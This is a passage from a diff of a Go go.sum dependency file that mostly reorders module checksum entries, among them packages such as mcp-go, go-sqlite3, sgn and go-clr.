v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc= -github.com/mark3labs/mcp-go v0.45.0 h1:s0S8qR/9fWaQ3pHxz7pm1uQ0DrswoSnRIxKIjbiQtkc= +github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0= +github.com/MakeNowJust/heredoc v1.0.0/go.mod h1:mG5amYoWBHf8vpLOuehzbGGw0EHxpZZ6lCpQ4fNJ8LE= +github.com/MakeNowJust/heredoc v1.0.0 h1:cXCdzVdstXyiTqTvfqk9SDHpKNjxuom+DOlyEeQ4pzQ= github.com/mark3labs/mcp-go v0.45.0/go.mod h1:YnJfOL382MIWDx1kMY+2zsRHU/q78dBg9aFb8W6Thdw= -github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= +github.com/mark3labs/mcp-go v0.45.0 h1:s0S8qR/9fWaQ3pHxz7pm1uQ0DrswoSnRIxKIjbiQtkc= github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= -github.com/mattn/go-colorable v0.1.14 h1:9A9LHSqF/7dyVVX6g0U9cwm9pG3kP9gSzcuIPHPsaIE= github.com/mattn/go-colorable v0.1.14/go.mod h1:6LmQG8QLFO4G5z1gPvYEzlUgJ2wF+stgPZH1UqBm1s8= +github.com/mattn/go-colorable v0.1.14 h1:9A9LHSqF/7dyVVX6g0U9cwm9pG3kP9gSzcuIPHPsaIE= +github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= -github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= -github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= -github.com/mattn/go-runewidth v0.0.20 h1:WcT52H91ZUAwy8+HUkdM3THM6gXqXuLJi9O3rjcQQaQ= +github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= github.com/mattn/go-runewidth v0.0.20/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs= -github.com/mattn/go-sqlite3 v1.14.32 h1:JD12Ag3oLy1zQA+BNn74xRgaBbdhbNIDYvQUEuuErjs= +github.com/mattn/go-runewidth v0.0.20 h1:WcT52H91ZUAwy8+HUkdM3THM6gXqXuLJi9O3rjcQQaQ= +github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= github.com/mattn/go-sqlite3 v1.14.32/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y= -github.com/mdlayher/genetlink v1.3.2 h1:KdrNKe+CTu+IbZnm/GVUMXSqBBLqcGpRDa0xkQy56gw= +github.com/mattn/go-sqlite3 v1.14.32 h1:JD12Ag3oLy1zQA+BNn74xRgaBbdhbNIDYvQUEuuErjs= github.com/mdlayher/genetlink v1.3.2/go.mod h1:tcC3pkCrPUGIKKsCsp0B3AdaaKuHtaxoJRz3cc+528o= -github.com/mdlayher/netlink v1.8.0 h1:e7XNIYJKD7hUct3Px04RuIGJbBxy1/c4nX7D5YyvvlM= +github.com/mdlayher/genetlink v1.3.2 h1:KdrNKe+CTu+IbZnm/GVUMXSqBBLqcGpRDa0xkQy56gw= github.com/mdlayher/netlink v1.8.0/go.mod h1:UhgKXUlDQhzb09DrCl2GuRNEglHmhYoWAHid9HK3594= -github.com/mdlayher/sdnotify v1.0.0 h1:Ma9XeLVN/l0qpyx1tNeMSeTjCPH6NtuD6/N9XdTlQ3c= +github.com/mdlayher/netlink v1.8.0 h1:e7XNIYJKD7hUct3Px04RuIGJbBxy1/c4nX7D5YyvvlM= github.com/mdlayher/sdnotify v1.0.0/go.mod h1:HQUmpM4XgYkhDLtd+Uad8ZFK1T9D5+pNxnXQjCeJlGE= -github.com/mdlayher/socket v0.5.1 h1:VZaqt6RkGkt2OE9l3GcC6nZkqD3xKeQLyfleW/uBcos= +github.com/mdlayher/sdnotify v1.0.0 h1:Ma9XeLVN/l0qpyx1tNeMSeTjCPH6NtuD6/N9XdTlQ3c= github.com/mdlayher/socket v0.5.1/go.mod h1:TjPLHI1UgwEv5J1B5q0zTZq12A/6H7nKmtTanQE37IQ= -github.com/microcosm-cc/bluemonday v1.0.27 h1:MpEUotklkwCSLeH+Qdx1VJgNqLlpY2KXwXFM08ygZfk= +github.com/mdlayher/socket v0.5.1 h1:VZaqt6RkGkt2OE9l3GcC6nZkqD3xKeQLyfleW/uBcos= +github.com/MicahParks/keyfunc v1.9.0/go.mod h1:IdnCilugA0O/99dW+/MkvlyrsX8+L8+x95xuVNtM5jw= +github.com/MicahParks/keyfunc v1.9.0 h1:lhKd5xrFHLNOWrDc4Tyb/Q1AJ4LCzQ48GVJyVIID3+o= github.com/microcosm-cc/bluemonday v1.0.27/go.mod h1:jFi9vgW+H7c3V0lb6nR74Ib/DIB5OBs92Dimizgw2cA= -github.com/miekg/dns v1.1.70 h1:DZ4u2AV35VJxdD9Fo9fIWm119BsQL5cZU1cQ9s0LkqA= +github.com/microcosm-cc/bluemonday v1.0.27 h1:MpEUotklkwCSLeH+Qdx1VJgNqLlpY2KXwXFM08ygZfk= +github.com/Microsoft/go-winio v0.6.2/go.mod h1:yd8OoFMLzJbo9gZq8j5qaps8bJ9aShtEA8Ipt1oGCvU= +github.com/Microsoft/go-winio v0.6.2 h1:F2VQgta7ecxGYO8k3ZZz3RS8fVIXVxONVUPlNERoyfY= github.com/miekg/dns v1.1.70/go.mod h1:+EuEPhdHOsfk6Wk5TT2CzssZdqkmFhf8r+aVyDEToIs= -github.com/mileusna/viber v1.0.1 h1:gWB6/lKoWYVxkH0Jb8jRnGIRZ/9DEM7RBZRJHRfdYWs= +github.com/miekg/dns v1.1.70 h1:DZ4u2AV35VJxdD9Fo9fIWm119BsQL5cZU1cQ9s0LkqA= github.com/mileusna/viber v1.0.1/go.mod h1:Pxu/iPMnYjnHgu+bEp3SiKWHWmlf/kDp/yOX8XUdYrQ= -github.com/mitchellh/go-ps v1.0.0 h1:i6ampVEEF4wQFF+bkYfwYgY+F/uYJDktmvLPf7qIgjc= +github.com/mileusna/viber v1.0.1 h1:gWB6/lKoWYVxkH0Jb8jRnGIRZ/9DEM7RBZRJHRfdYWs= github.com/mitchellh/go-ps v1.0.0/go.mod h1:J4lOc8z8yJs6vUwklHw2XEIiT4z4C40KtWVN3nvg8Pg= -github.com/mitchellh/hashstructure/v2 v2.0.2 h1:vGKWl0YJqUNxE8d+h8f6NJLcCJrgbhC4NcD46KavDd4= +github.com/mitchellh/go-ps v1.0.0 h1:i6ampVEEF4wQFF+bkYfwYgY+F/uYJDktmvLPf7qIgjc= github.com/mitchellh/hashstructure/v2 v2.0.2/go.mod h1:MG3aRVU/N29oo/V/IhBX8GR/zz4kQkprJgF2EVszyDE= +github.com/mitchellh/hashstructure/v2 v2.0.2 h1:vGKWl0YJqUNxE8d+h8f6NJLcCJrgbhC4NcD46KavDd4= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= -github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= -github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= +github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= -github.com/moloch--/asciicast v0.1.1 h1:btwwniCK9br3ys33XZ71IG/M3ZujSSCcBzsH/sieiXg= +github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= github.com/moloch--/asciicast v0.1.1/go.mod h1:OckO16UDLgxVLclrCnbocL1ix15Br/8Xv/caBoYq98o= -github.com/moloch--/console v0.0.0-20260129035459-883dcb25c701 h1:6caCgDZpovjvv+eclRytFDf0GpVEnjDmoJRHpfkb42E= +github.com/moloch--/asciicast v0.1.1 h1:btwwniCK9br3ys33XZ71IG/M3ZujSSCcBzsH/sieiXg= github.com/moloch--/console v0.0.0-20260129035459-883dcb25c701/go.mod h1:UdqyqqCSnPu3Zc8Q3kpDszrq1hcyBHsG17hlWlRJmWI= -github.com/moloch--/go-keystone v0.0.2 h1:xThbYs45CSzoDUz5kBZxAyTPIpK3t5M7NB1x+NTTRL8= +github.com/moloch--/console v0.0.0-20260129035459-883dcb25c701 h1:6caCgDZpovjvv+eclRytFDf0GpVEnjDmoJRHpfkb42E= github.com/moloch--/go-keystone v0.0.2/go.mod h1:kpGRJpw9b7Eq3MluHrba+GPKZhSyDrvhLULSwH5nGGM= -github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e h1:IkFCPlAa0iTiLxck+NqAwBx8JDlnHYm4orOQBbs4BDQ= +github.com/moloch--/go-keystone v0.0.2 h1:xThbYs45CSzoDUz5kBZxAyTPIpK3t5M7NB1x+NTTRL8= github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e/go.mod h1:eYeI6cQ5YHhHt9i0BBW0zc1DaQnb4ZMXsSPuEV/V5Og= -github.com/moloch--/readline v0.0.0-20260129035512-cb5b3e87d51a h1:Q69DxLWF+Z8oIjuNbeKC6Xygk8Z4heWzzO79Io1cEYA= +github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e h1:IkFCPlAa0iTiLxck+NqAwBx8JDlnHYm4orOQBbs4BDQ= github.com/moloch--/readline v0.0.0-20260129035512-cb5b3e87d51a/go.mod h1:CwNkh9BmFBBCSO6mdDaNWb34rOqQsI9eYbxyqvOEazY= -github.com/moloch--/sgn v0.0.5 h1:92GFaRpe+353uhqzFiNKXKgmTiD4dBxnvb8gd4MaV/g= +github.com/moloch--/readline v0.0.0-20260129035512-cb5b3e87d51a h1:Q69DxLWF+Z8oIjuNbeKC6Xygk8Z4heWzzO79Io1cEYA= github.com/moloch--/sgn v0.0.5/go.mod h1:FyWfCtdynywgLmVR71vTJztZ3WkGSkR91Y4EOijUutE= -github.com/muesli/cancelreader v0.2.2 h1:3I4Kt4BQjOR54NavqnDogx/MIoWBFa0StPA8ELUXHmA= +github.com/moloch--/sgn v0.0.5 h1:92GFaRpe+353uhqzFiNKXKgmTiD4dBxnvb8gd4MaV/g= github.com/muesli/cancelreader v0.2.2/go.mod h1:3XuTXfFS2VjM+HTLZY9Ak0l6eUKfijIfMUZ4EgX0QYo= -github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA= +github.com/muesli/cancelreader v0.2.2 h1:3I4Kt4BQjOR54NavqnDogx/MIoWBFa0StPA8ELUXHmA= github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= +github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA= github.com/nbio/st v0.0.0-20140626010706-e9e8d9816f32/go.mod h1:9wM+0iRr9ahx58uYLpLIr5fm8diHn0JbqRycJi6w0Ms= -github.com/ncruces/go-sqlite3 v0.30.4 h1:j9hEoOL7f9ZoXl8uqXVniaq1VNwlWAXihZbTvhqPPjA= github.com/ncruces/go-sqlite3 v0.30.4/go.mod h1:7WR20VSC5IZusKhUdiR9y1NsUqnZgqIYCmKKoMEYg68= -github.com/ncruces/go-strftime v0.1.9 h1:bY0MQC28UADQmHmaF5dgpLmImcShSi2kHU9XLdhx/f4= +github.com/ncruces/go-sqlite3 v0.30.4 h1:j9hEoOL7f9ZoXl8uqXVniaq1VNwlWAXihZbTvhqPPjA= github.com/ncruces/go-strftime v0.1.9/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls= -github.com/ncruces/julianday v1.0.0 h1:fH0OKwa7NWvniGQtxdJRxAgkBMolni2BjDHaWTxqt7M= +github.com/ncruces/go-strftime v0.1.9 h1:bY0MQC28UADQmHmaF5dgpLmImcShSi2kHU9XLdhx/f4= github.com/ncruces/julianday v1.0.0/go.mod h1:Dusn2KvZrrovOMJuOt0TNXL6tB7U2E8kvza5fFc9G7g= -github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 h1:zYyBkD/k9seD2A7fsi6Oo2LfFZAehjjQMERAvZLEDnQ= +github.com/ncruces/julianday v1.0.0 h1:fH0OKwa7NWvniGQtxdJRxAgkBMolni2BjDHaWTxqt7M= +github.com/Ne0nd0g/go-clr v1.0.3/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I= +github.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4= github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646/go.mod h1:jpp1/29i3P1S/RLdc7JQKbRpFeM1dOBd8T9ki5s+AY8= -github.com/nikoksr/notify v1.5.0 h1:mzkCw8eb0P+qHwgmGQyPPGqz4GH+07FJDr44Bs16T9k= +github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 h1:zYyBkD/k9seD2A7fsi6Oo2LfFZAehjjQMERAvZLEDnQ= github.com/nikoksr/notify v1.5.0/go.mod h1:CEV9Bw9Y59K5oj7d8h83Xl32ATeL43ZEg9qTQsfwcCc= +github.com/nikoksr/notify v1.5.0 h1:mzkCw8eb0P+qHwgmGQyPPGqz4GH+07FJDr44Bs16T9k= github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A= -github.com/nxadm/tail v1.4.8 h1:nPr65rt6Y5JFSKQO7qToXr7pePgD6Gwiw05lkbyAQTE= github.com/nxadm/tail v1.4.8/go.mod h1:+ncqLTQzXmGhMZNUePPaPqPvBxHAIsmXswZKocGu+AU= -github.com/oapi-codegen/runtime v1.1.2 h1:P2+CubHq8fO4Q6fV1tqDBZHCwpVpvPg7oKiYzQgXIyI= +github.com/nxadm/tail v1.4.8 h1:nPr65rt6Y5JFSKQO7qToXr7pePgD6Gwiw05lkbyAQTE= github.com/oapi-codegen/runtime v1.1.2/go.mod h1:SK9X900oXmPWilYR5/WKPzt3Kqxn/uS/+lbpREv+eCg= -github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec= +github.com/oapi-codegen/runtime v1.1.2 h1:P2+CubHq8fO4Q6fV1tqDBZHCwpVpvPg7oKiYzQgXIyI= github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= -github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= +github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec= github.com/onsi/ginkgo v1.12.1/go.mod h1:zj2OWP4+oCPe1qIXoGWkgMRwljMUYCdkwsT2108oapk= github.com/onsi/ginkgo v1.14.1/go.mod h1:iSB4RoI2tjJc9BBv4NKIKWKya62Rps+oPG/Lv9klQyY= github.com/onsi/ginkgo v1.16.4/go.mod h1:dX+/inL/fNMqNlz0e9LfyB9TswhZpCVdJM/Z6Vvnwo0= -github.com/onsi/ginkgo v1.16.5 h1:8xi0RTUf59SOSfEtZMvwTvXYMzG4gV23XVHOZiXNtnE= github.com/onsi/ginkgo v1.16.5/go.mod h1:+E8gABHa3K6zRBolWtd+ROzc/U5bkGt0FwiG042wbpU= +github.com/onsi/ginkgo v1.16.5 h1:8xi0RTUf59SOSfEtZMvwTvXYMzG4gV23XVHOZiXNtnE= +github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= github.com/onsi/ginkgo/v2 v2.0.0/go.mod h1:vw5CSIxN1JObi/U8gcbwft7ZxR2dgaR70JSE3/PpL4c= -github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY= github.com/onsi/gomega v1.10.1/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo= github.com/onsi/gomega v1.10.2/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo= github.com/onsi/gomega v1.17.0/go.mod h1:HnhC7FXeEQY45zxNK3PPoIUhzk/80Xly9PcubAlGdZY= github.com/onsi/gomega v1.18.1/go.mod h1:0q+aL8jAiMXy9hbwj2mr5GziHiwhAIQpFmmtT5hitRs= -github.com/onsi/gomega v1.19.0 h1:4ieX6qQjPP/BfC3mpsAtIGGlxTWPeA3Inl/7DtXw1tw= github.com/onsi/gomega v1.19.0/go.mod h1:LY+I3pBVzYsTBU1AnDwOSxaYi9WoWiqgwooUqq9yPro= -github.com/openai/openai-go/v2 v2.7.1 h1:/tfvTJhfv7hTSL8mWwc5VL4WLLSDL5yn9VqVykdu9r8= +github.com/onsi/gomega v1.19.0 h1:4ieX6qQjPP/BfC3mpsAtIGGlxTWPeA3Inl/7DtXw1tw= +github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY= github.com/openai/openai-go/v2 v2.7.1/go.mod h1:jrJs23apqJKKbT+pqtFgNKpRju/KP9zpUTZhz3GElQE= +github.com/openai/openai-go/v2 v2.7.1 h1:/tfvTJhfv7hTSL8mWwc5VL4WLLSDL5yn9VqVykdu9r8= github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= -github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw= github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde/go.mod h1:nZgzbfBr3hhjoZnS66nKrHmduYNpc34ny7RK4z5/HM0= -github.com/pierrec/lz4/v4 v4.1.21 h1:yOVMLb6qSIDP67pl/5F7RepeKYu/VmTyEXvuMI5d9mQ= +github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw= +github.com/PagerDuty/go-pagerduty v1.8.0/go.mod h1:nzIeAqyFSJAFkjWKvMzug0JtwDg+V+UoCWjFrfFH5mI= +github.com/PagerDuty/go-pagerduty v1.8.0 h1:MTFqTffIcAervB83U7Bx6HERzLbyaSPL/+oxH3zyluI= github.com/pierrec/lz4/v4 v4.1.21/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4= -github.com/pires/go-proxyproto v0.8.1 h1:9KEixbdJfhrbtjpz/ZwCdWDD2Xem0NZ38qMYaASJgp0= +github.com/pierrec/lz4/v4 v4.1.21 h1:yOVMLb6qSIDP67pl/5F7RepeKYu/VmTyEXvuMI5d9mQ= github.com/pires/go-proxyproto v0.8.1/go.mod h1:ZKAAyp3cgy5Y5Mo4n9AlScrkCZwUy0g3Jf+slqQVcuU= +github.com/pires/go-proxyproto v0.8.1 h1:9KEixbdJfhrbtjpz/ZwCdWDD2Xem0NZ38qMYaASJgp0= github.com/pkg/errors v0.8.1-0.20161029093637-248dadf4e906/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= -github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= -github.com/pkg/sftp v1.13.6 h1:JFZT4XbOU7l77xGSpOdW+pwIMqP044IyjXX6FGyEKFo= +github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= github.com/pkg/sftp v1.13.6/go.mod h1:tz1ryNURKu77RL+GuCzmoJYxQczL3wLNNpPWagdg4Qk= -github.com/planetscale/vtprotobuf v0.6.1-0.20240319094008-0393e58bdf10 h1:GFCKgmp0tecUJ0sJuv4pzYCqS9+RGSn52M3FUwPs+uo= +github.com/pkg/sftp v1.13.6 h1:JFZT4XbOU7l77xGSpOdW+pwIMqP044IyjXX6FGyEKFo= github.com/planetscale/vtprotobuf v0.6.1-0.20240319094008-0393e58bdf10/go.mod h1:t/avpk3KcrXxUnYOhZhMXJlSEyie6gQbtLq5NM3loB8= -github.com/plivo/plivo-go/v7 v7.59.2 h1:S3CGORMXXYOnuKXBQ1Sk9DtSbeXa+bRA4S3TypfpOQY= +github.com/planetscale/vtprotobuf v0.6.1-0.20240319094008-0393e58bdf10 h1:GFCKgmp0tecUJ0sJuv4pzYCqS9+RGSn52M3FUwPs+uo= github.com/plivo/plivo-go/v7 v7.59.2/go.mod h1:ceCFoYEzQrtrJjLcU7HR/r6Vz2kAVSaylrL7SjGPymc= +github.com/plivo/plivo-go/v7 v7.59.2 h1:S3CGORMXXYOnuKXBQ1Sk9DtSbeXa+bRA4S3TypfpOQY= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U= github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/prometheus-community/pro-bing v0.4.0 h1:YMbv+i08gQz97OZZBwLyvmmQEEzyfyrrjEaAchdy3R4= -github.com/prometheus-community/pro-bing v0.4.0/go.mod h1:b7wRYZtCcPmt4Sz319BykUU241rWLe1VFXyiyWK/dH4= +github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U= github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= -github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk= github.com/prometheus/client_model v0.6.2/go.mod h1:y3m2F6Gdpfy6Ut/GBsUqTWZqCUvMVzSfMLjcu6wAwpE= -github.com/prometheus/common v0.65.0 h1:QDwzd+G1twt//Kwj/Ww6E9FQq1iVMmODnILtW1t2VzE= +github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk= github.com/prometheus/common v0.65.0/go.mod h1:0gZns+BLRQ3V6NdaerOhMbwwRbNh9hkGINtQAsP5GS8= -github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= +github.com/prometheus/common v0.65.0 h1:QDwzd+G1twt//Kwj/Ww6E9FQq1iVMmODnILtW1t2VzE= +github.com/prometheus-community/pro-bing v0.4.0/go.mod h1:b7wRYZtCcPmt4Sz319BykUU241rWLe1VFXyiyWK/dH4= +github.com/prometheus-community/pro-bing v0.4.0 h1:YMbv+i08gQz97OZZBwLyvmmQEEzyfyrrjEaAchdy3R4= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= -github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ= +github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= -github.com/rogpeppe/go-internal v1.14.1 h1:UQB4HGPB6osV0SQTLymcB4TgvyWu6ZyliaW0tI/otEQ= +github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ= +github.com/RocketChat/Rocket.Chat.Go.SDK v0.0.0-20250718055228-285ecf400b48/go.mod h1:rjP7sIipbZcagro/6TCk6X0ZeFT2eyudH5+fve/cbBA= +github.com/RocketChat/Rocket.Chat.Go.SDK v0.0.0-20250718055228-285ecf400b48 h1:I4Uc+H5JgZ2o/o6AGz2fIQCf/pVio9mQDVffXkDVc24= github.com/rogpeppe/go-internal v1.14.1/go.mod h1:MaRKkUm5W0goXpeCfT7UZI6fk/L7L7so1lCWt35ZSgc= +github.com/rogpeppe/go-internal v1.14.1 h1:UQB4HGPB6osV0SQTLymcB4TgvyWu6ZyliaW0tI/otEQ= +github.com/rsteube/carapace-shlex v0.1.2/go.mod h1:zPw1dOFwvLPKStUy9g2BYKanI6bsQMATzDMYQQybo3o= +github.com/rsteube/carapace-shlex v0.1.2 h1:ZKjhIfXoCkEnzensMglTaLbkNOaLkmM8SCRshpJKx6s= +github.com/rsteube/carapace v0.50.2/go.mod h1:syVOvI8e2rEEK/9aMZxfWuHvcnQK/EcnTV4roClEnLE= +github.com/rsteube/carapace v0.50.2 h1:9nPOBmIKPySFQvtBRGghFafRCR09Cf9K4/BEo1M+VFE= github.com/rs/xid v1.6.0/go.mod h1:7XoLgs4eV+QndskICGsho+ADou8ySMSjJKDIan90Nz0= -github.com/rs/zerolog v1.34.0 h1:k43nTLIwcTVQAncfCw4KZ2VY6ukYoZaBPNOE8txlOeY= github.com/rs/zerolog v1.34.0/go.mod h1:bJsvje4Z08ROH4Nhs5iH600c3IkWhwp44iRc54W6wYQ= -github.com/rsteube/carapace v0.50.2 h1:9nPOBmIKPySFQvtBRGghFafRCR09Cf9K4/BEo1M+VFE= -github.com/rsteube/carapace v0.50.2/go.mod h1:syVOvI8e2rEEK/9aMZxfWuHvcnQK/EcnTV4roClEnLE= -github.com/rsteube/carapace-shlex v0.1.2 h1:ZKjhIfXoCkEnzensMglTaLbkNOaLkmM8SCRshpJKx6s= -github.com/rsteube/carapace-shlex v0.1.2/go.mod h1:zPw1dOFwvLPKStUy9g2BYKanI6bsQMATzDMYQQybo3o= +github.com/rs/zerolog v1.34.0 h1:k43nTLIwcTVQAncfCw4KZ2VY6ukYoZaBPNOE8txlOeY= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= -github.com/safchain/ethtool v0.6.2 h1:O3ZPFAKEUEfbtE6J/feEe2Ft7dIJ2Sy8t4SdMRiIMHY= github.com/safchain/ethtool v0.6.2/go.mod h1:VS7cn+bP3Px3rIq55xImBiZGHVLNyBh5dqG6dDQy8+I= -github.com/sendgrid/rest v2.6.9+incompatible h1:1EyIcsNdn9KIisLW50MKwmSRSK+ekueiEMJ7NEoxJo0= +github.com/safchain/ethtool v0.6.2 h1:O3ZPFAKEUEfbtE6J/feEe2Ft7dIJ2Sy8t4SdMRiIMHY= github.com/sendgrid/rest v2.6.9+incompatible/go.mod h1:kXX7q3jZtJXK5c5qK83bSGMdV6tsOE70KbHoqJls4lE= -github.com/sendgrid/sendgrid-go v3.16.1+incompatible h1:zWhTmB0Y8XCDzeWIm2/BIt1GjJohAA0p6hVEaDtHWWs= +github.com/sendgrid/rest v2.6.9+incompatible h1:1EyIcsNdn9KIisLW50MKwmSRSK+ekueiEMJ7NEoxJo0= github.com/sendgrid/sendgrid-go v3.16.1+incompatible/go.mod h1:QRQt+LX/NmgVEvmdRw0VT/QgUn499+iza2FnDca9fg8= -github.com/silenceper/wechat/v2 v2.1.11 